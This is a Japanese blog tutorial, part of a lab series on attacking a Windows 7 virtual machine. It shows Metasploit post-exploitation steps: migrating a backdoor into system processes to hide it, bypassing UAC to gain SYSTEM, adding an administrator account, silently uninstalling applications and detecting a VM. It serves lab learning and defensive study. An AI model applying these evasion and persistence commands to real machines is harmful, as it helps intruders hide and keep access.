ハック技術: Windows7ハック #4 隠蔽、その他編

「[#ゆるいハッキング大会](https://twitter.com/hashtag/%E3%82%86%E3%82%8B%E3%81%84%E3%83%8F%E3%83%83%E3%82%AD%E3%83%B3%E3%82%B0%E5%A4%A7%E4%BC%9A )」に参加した。
ハッキング熱が高まった。

「[ハッキング・ラボのつくりかた](https://www.amazon.co.jp/%E3%83%8F%E3%83%83%E3%82%AD%E3%83%B3%E3%82%B0%E3%83%BB%E3%83%A9%E3%83%9C%E3%81%AE%E3%81%A4%E3%81%8F%E3%82%8A%E3%81%8B%E3%81%9F-%E4%BB%AE%E6%83%B3%E7%92%B0%E5%A2%83%E3%81%AB%E3%81%8A%E3%81%91%E3%82%8B%E3%83%8F%E3%83%83%E3%82%AB%E3%83%BC%E4%BD%93%E9%A8%93%E5%AD%A6%E7%BF%92-IPUSIRON/dp/4798155306)」を勢いで購入。

今回は、ハッキング・ラボの作り方に載っているWindows7のやり方の、
・情報奪取
・権限昇格
・バックドア設置
・ログ消し
辺りの作業プロセスの隠蔽やその他雑多なテクニックについて。

## お約束
本記事は、
・防御の為に敵の攻撃を知る
・技術力向上
を目的としている為、記載内容を悪用する事は禁じます。
記載内容を実行した結果として生じた全ての事に、私は一切責任を負いません。

## 環境について

### 0.自分のノートPC
　HP HP Spectre x360 Convertible 13-ac0XX/827E, BIOS F.31 04/27/2017
　Linux dsnote 4.15.0-48-generic #51~16.04.1-Ubuntu SMP Fri Apr 5 12:01:12 UTC 2019 x86_64 GNU/Linux
### 1. KaliLinux
[ハック技術: KaliLinux on Docker - Qiita](https://qiita.com/rivarten/items/2e0c8ee82fdffa848e7d)

### 2. Windows7(攻撃対象)
[ハック技術: Windows7ハック #1 Vagrant VirtualBoxで環境セットアップ編 (on Ubuntu) - Qiita](https://qiita.com/rivarten/items/414ddb9173d6afae3d6b)


## Exploit, 遠隔操作開始, バックドア設置, ログ消しまで

[ハック技術: Windows7ハック #3 Exploit、情報奪取、権限昇格、バックドア設置、ログ消し編 - Qiita](https://qiita.com/rivarten/items/97aae9aeefcfd498ae90)

## 隠蔽化

仕組みはよく分かっていないが、meterpreterプロンプト下で`migrate`コマンドを使うことで、
バックドアを既存のプロセスに統合させることが出来るようだ。

### 1. IEUser権限の"evil.exe"の隠蔽
タスクマネージャーにはevil.exeが表示されている為、バレる可能性大。
`migrate`コマンドで統合する先のプロセスを選択する為、`meterpreter > ps`で現在稼働中のプロセスの一覧取得。
`explorer.exe`はWindowsなら動いているはずで、ログインユーザーと同じ権限で動作する事が知られている。

`meterpreter > migrate (explorer.exeのPID)`
を指定して統合させる。

統合先のプロセスには、同一権限のプロセスかつなかなか終了しないプロセスを選ぶのが良さそう。

### 2. SYSTEM権限のセッションの隠蔽

UAC機能を回避してから、`getsystem`コマンドでSYSTEM権限を奪取した後、`meterpreter > ps`でプロセス一覧を表示。
SYSTEM権限で動作するプロセスを選び、そのPIDで`migrate`する。

winlogon.exeとか、svchost.exeとか。

### 3. 隠蔽に関して注意点

##### UAC回避のexploitのSESSIONオプションには、migrateで隠蔽化されていないセッションを指定すること
exploit/windows/local/bypassuacモジュールは、SESSIONオプションを持つ。
このSESSIONにmigrateで隠蔽化されたセッションを指定すると、exploitを実行しても応答が返って来ず、攻撃に失敗する。

##### migrateしたセッションを閉じて新しいセッションでmigrateしようとしても失敗する
`Error running command migrate: Rex::TimeoutError Operation timed out`
が発生する。
恐らく、migrateされたペイロードがwindows側では残っていて、接続が切り替わらないのだと思う。

##### shellを実行している間は、タスクマネージャーにcmd.exeが表示される

## ユーザ追加/削除

### 0. SYSTEM権限奪取->shell呼び出し

### 1. ユーザ追加/削除

```
C:\Windows\system32 > net user
....
C:\Windows\system32 > net user Administrator
```
AdministoratorとsshdユーザはControlPanelでは表示されない。
(`Account active`がnoになっている

```
C:\Windows\system32 > net user test /add
C:\Windows\system32 > net user
C:\Windows\system32 > net user test 1234
  パスワードを1234にする
C:\Windows\system32 > net localgroup administrators test /add
C:\Windows\system32 > net user test /delete
```

## ターゲット端末のアプリをアンインストール

アンインストーラが用意されたタイプのアプリはアンインストール可能

### 0. SYSTEM権限奪取

### 1. インストール済みアプリを表示

```
msf ***(***) > sessions
msf ***(***) > use post/windows/gather/enum_applications
msf post(windows/gather/enum_applications) > set session 3(とか
msf post(windows/gather/enum_applications) > run
....
```
or

```
C:\Windows\system32 > wmic product get name, installLocation
```

### 2. アンインストール

```
C:\Windows\system32 > wmic product where name="アプリ名" call uninstall /nointeractive
```

## ターゲット端末が仮想マシンかどうか
```
msf ***(***) > sessions
msf ***(***) > use post/windows/gather/checkvm
msf post(windows/gather/enum_applications) > set session 3(とか
msf post(windows/gather/enum_applications) > run
....
```
or

```
C:\Windows\system32 > systeminfo
```
`Sytem Manufacturer`や`System Model`を見る。

## おわり
次はWindows10。